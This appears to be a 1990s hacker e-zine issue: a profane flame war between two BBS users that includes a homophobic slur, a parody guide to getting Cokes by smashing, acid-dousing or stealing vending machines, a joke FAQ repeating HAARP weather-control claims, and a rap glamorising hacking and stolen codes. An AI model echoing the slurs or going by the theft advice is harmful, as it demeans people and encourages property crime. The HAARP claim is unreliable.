A> Hmm mr. grammar you can really spell... ^^^^^^^
Uh, you almost failed english didn't you? Grammar and spelling are 2
different things, but it takes both to speak correctly.
A> Oh and you know in Q-zar you really use real bullets...At least in paintba
A> you get hit by something...wimp wimp wimp wimp wimp wimp wimp wimp wimp wi
A> wimp wimp wimp wimp wimp wimp wimp wimp...Whoops did I say that out loud..
And You are fucking stupid.. I was saying I hate dodging the paint balls, cuz
they sting like hell when you're hit. I never could get into the game...
BTW, just to make you look really stupid, even thought I am hoping you were
being sarcastic, ummm, Q-Zar doesn't use REAL bullets... And I know at least
in paintball you get hit by something, thats the shole fucking point to my
message you shit for brains-donkey dick!
°°±±²ÛÛ YéëëR³N ÛÛ²±±°°
--
From: Afterthought Base : Private Mail
To : Yossarian Refer #: None
Subj: Re: Junction Replies: None
Stat: Normal Origin : Local
Y> Hell no.. I hate dodging those damn semi-bullits.
A> Hmm mr. grammar you can really spell... ^^^^^^^
Y>
Y> Uh, you almost failed english didn't you? Grammar and spelling are 2
Y> different things, but it takes both to speak correctly.
Y>
A D- isn't failing...! Well I guess you cannot speak correctly 'cause you
obviously can't spell...!
A> Oh and you know in Q-zar you really use real bullets...At least in paintbal
A> you get hit by something...wimp wimp wimp wimp wimp wimp wimp wimp wimp wim
A> wimp wimp wimp wimp wimp wimp wimp wimp...Whoops did I say that out loud...
Y>
Y> And You are fucking stupid.. I was saying I hate dodging the paint balls,
Y> they sting like hell when you're hit. I never could get into the game...
But I thought you were a real man?¨ Would a little paintball hurt you?¨ If
you were a real man like me it wouldn't matter 'cause you would never get
hit...
Y> BTW, just to make you look really stupid, even thought I am hoping you were
Y> being sarcastic, ummm, Q-Zar doesn't use REAL bullets...
You idiot of course I was being sarcastic BTW, Q-Zar is a little faggoty
game...every time I'm there I get Top GunùùùIt is so incredibly easy...BTW
I was just needing somebody else to shoot at besides Zappa...the invitation
still stands...
Y> in paintball you get hit by something, thats the shole fucking point to my
Y> message you shit for brains-donkey dick!
Well the "shole" point to my message is that you are too DUMB and WEAK
(not to mention scatophagous and pusillanimous) to admit that you are scared
to play paintball...
BTW are those words big enough for you?¨
°°±±²ÛÛ+äâÅh0g×+ÛÛ²±±°° [ed note: neat k-funky colors!!!]
Wow! Even I can do the colors...(AND extended ASCII!!!)
--
From: Yossarian Base : Private Mail
To : Afterthought Refer #: None
Subj: Re: Junction Replies: None
Stat: Normal Origin : Local
A> A D- isn't failing...! Well I guess you cannot speak correctly 'cause you
A> obviously can't spell...!
A> You idiot of course I was being sarcastic BTW, Q-Zar is a little faggoty
A> game...every time I'm there I get Top GunùùùIt is so incredibly easy...BTW
A> I was just needing somebody else to shoot at besides Zappa...the invitation
A> still stands...
Um, Mr. Hypocrite.. You can do neither, so shut the fuck up...
A> °°±±²ÛÛ+äâÅh0g×+ÛÛ²±±°°
A>
A>
A> Wow! Even I can do the colors...(AND extended ASCII!!!)
Good, now make it consistant.. You have lowercase with uppercase. Do you
know the diff. between line noise and regular text?
°°±±²ÛÛ YéëëR³N ÛÛ²±±°°
--
From: Afterthought Base : Private Mail
To : Yossarian Refer #: None
Subj: Re: Junction Replies: None
Stat: Normal Origin : Local
A> A D- isn't failing...! Well I guess you cannot speak correctly 'cause you
A> obviously can't spell...!
Y>
A> You idiot of course I was being sarcastic BTW, Q-Zar is a little faggoty
A> game...every time I'm there I get Top GunùùùIt is so incredibly easy...BTW
A> I was just needing somebody else to shoot at besides Zappa...the invitation
A> still stands...
Y> Um, Mr. Hypocrite.. You can do neither, so shut the fuck up...
First of all I can neither what?¨ Hypocrite?¨ Why are your questions so
ignorant?¨
Y> Good, now make it consistant.. You have lowercase with uppercase. Do you
Y> know the diff. between line noise and regular text?
Do you?¨ Oh wait a second isn't that how you discovered your handle in the
first place?¨
Ummmmm...Mr. I speak proper english..."consistent"....
Y> °°±±²ÛÛ YéëëR³N ÛÛ²±±°°
^ What the hell is that?¨ Line noise?¨
°°±±²ÛÛAfterThoughtÛÛ²±±°°
-----------------------------------------------------------------------------
Elite ways to get Cokes
You've seen all the great text files on how to get free cokes and food
and all that shit that's cooler that your grandma.. Did you try them?
Did ANY of them work? That's what I thought.. ok.. now I'm going to
show you hows its done around here..
--
Method #1
There are several important begining steps with this approach.. First,
get a bag or something to put the food in once you have got it.. Then
get a pack of chewing gum w/the gum wrapper. It's also a good idea
to have a get away vehicle. Last, you need a large sledge hammer. Now
the elite fun starts happening.
With all the methods it's important to find a good site.. make sure there
aren't too many people around and it's not in clear sight of any donut
shop. (or any place that sells donuts for that matter).. These places
are the cops head quarters.. Don't front with the cops.. they will bust
your ass and slam you in jail till your grandkids are in college.
Ummm.. I forget what to do now.. ok.. now I remember.. Drive up to the
site.. carefully take out a stick of chewing gum.. Unwrap it.. place
the chewing gum in your mouth. Chew. Throw the wrapper in a garbage
can. Ok.. now.. take the sledge hammer and beat the living shit out
of the coke machine. Things will happen.. But the most important of
these things is that the machine will open and you will have cokes..
Rock on! (we have tested this method before.. just in case you were
wondering about the veracity of this method) Drive away quickly. (Don't
forget to load your vehicle with cokes!)
--
Method #2
Get two quarters.
Enter them into the slot.
Retrieve coke.
Rock on!
--
Method #3
Get a bucket full of either liquid nitrogen or H2SO4.. drive up to the
coke machine and dump either of these all over it... you WILL get cokes!
--
Method #4
Get a large pickup truck, four people that are pretty damn big, and one
of those wheely deals that you can load stuff on and then wheel it around.
Some important notes on the stuff you need..- Make sure the truck is a
good reliable truck.. not one with like doors and carborators and engines
always falling the hell out.. (red necks have these sorts of trucks..).. Um
... Make sure you can trust the big people and that they won't just
steal your cokes.. (it's a good idea to pack your 9 when you're around
big people..) And make sure they won't steal your fucking girl friend..
Make them sign a slip that says they won't do this.. or they will.. trust
me.. ok.. and the wheely deal.. make sure it's reliable too.. and
above all.. TRUST NO ONE..
Drive up to the site.. get the big people to steal the coke machine..
MAKE SURE YOU HAVE THE PLUG.. you don't want your cokes cold, now do you?
Ok.. go back to your abode and plug the machine right in.. and jump into
it with all your force until it starts givin you cokes.. cool..
--
Method #5
Shhh! Don't tell anyone how to do this one! I have found that if you
ask someone who has two cokes for one of their cokes, they will give it
to you.. "A wise man leads, but he sometimes follows too, if he's in that
lazy sort of mood that even wise men get in sometimes".. that has nothing
to do with this.. sorry..
--
Some important thing to remember-
Drinking coke makes you feel happy.. (why don't they use this for their
add campaign? They are stoopid..)
Girls are cool.. unless they won't give you a coke..
Coke is more important than ice fishing, dammit.
Don't drink coke with those little fizzy poppy candies cause your stomach
will explode.. and homie don't play that..
--
Ok.. that's it.. I hope you get lots of coke..
-----------------------------------------------------------------------------
Quarantined Dementia FAQ
Well, people are always asking us questions, since we are
such a popular magazine. So, I thought I'd answer some of the
most common ones.
Q: Why did you write this magazine?
A: We were bored, really.
Q: What is this? Some sort of cold fussion theory?
A: no.. Haarp is a station up in alaska (Air force.. this is a
smaller version of the REAL one) Haarp is testing to see if the
Ionosphere can handle Gigawats of power... They are using it as
a giant antenna.. so they can send ULFs to subs and ships...
also, they will be able to manipulate weather...
Q: Do you think people actually like this zine?
A: Yeah, we are eliTe!
Q: Is Spinoza as big a freak as it seems?
A: I know no Spinoza.
Q: What do you have against Warez, d00d?
A: Its actually just a repressed desire to be a courier. We
funnel it into humor to make ourselves feel better.
Q: Hey, can you pick a number between 3 and 528?
A: 35
Q: Your zine sucks!
A: Not as hard as your MOTHER! O-oh!
Q: Do you really hang out at Mr. Gattis?
A: Only if we are feeling paticularly social.
Q: Do you ever open a QD IRC channel?
A: You suck...
Q: Are you guys on drugs?
A: Right now? No...
Q: Is Destacona a loser like it seems?
A: Yes, yes he is.
Q: Should I look forward to more exciting issues in the future?
A: There will be more issues.
-----------------------------------------------------------------------------
the elite qd rap
woke up quick, at about noon
just knew that I had to get some fresh kodez soon
gotta do some hackin' before the day begins
before the couriers start frontin' on my friends
i went to the computer and i started to call
dumb SysAdmins puttin' up firewalls
grabbed my disk and I stuck in some C
now them accts are comin' to me
stuck 'em in cracker jack, to finish them off
then I got a f0n3 call, it was from Yoss.
'cause the boys of QD are elite
if you need any inpho we got the h/p
knowin' nuthing in life but to hack and phreak
and we get more kodez every week.
bored as hell and I want to get ill
so I went to the spot where my homeboys chill
went to gatti's, and I started drinkin'
the coke was good, but my breathe started stinkin'
went to Revco to pick up some mints
I saw a dumb courier and I started to grin
took him up the street to show him my way
silly mutha f*cku pulled out the 0-day
I reached in my pockets and pulled out accounts
then I stepped back and knocked his lame ass out.
'cause the boys of QD are elite
if you need any inpho we got the h/p
knowin' nuthing in life but to hack and phreak
and we get more kodez every week.
Went back to gatti's to see my friends
We were all sittin' around, chillin' again
We fronted on the buffet, and got kicked out
Through the front door, I started to shout.
"Its the system, man, bringin' us down."
We jumped in the wagon, and rolled into town
Then we let the radio cold kick (kick)
playing Coolio and Al Yankovic
We went to a house to mess with Grifter
His kitchen floor looked like a damn shitter
We left in a hurry and then started rollin'
yeah, we got more codes than all of Oakland.
'cause the boys of QD are elite
if you need any inpho we got the h/p
knowin' nuthing in life but to hack and phreak
and we get more kodez every week.
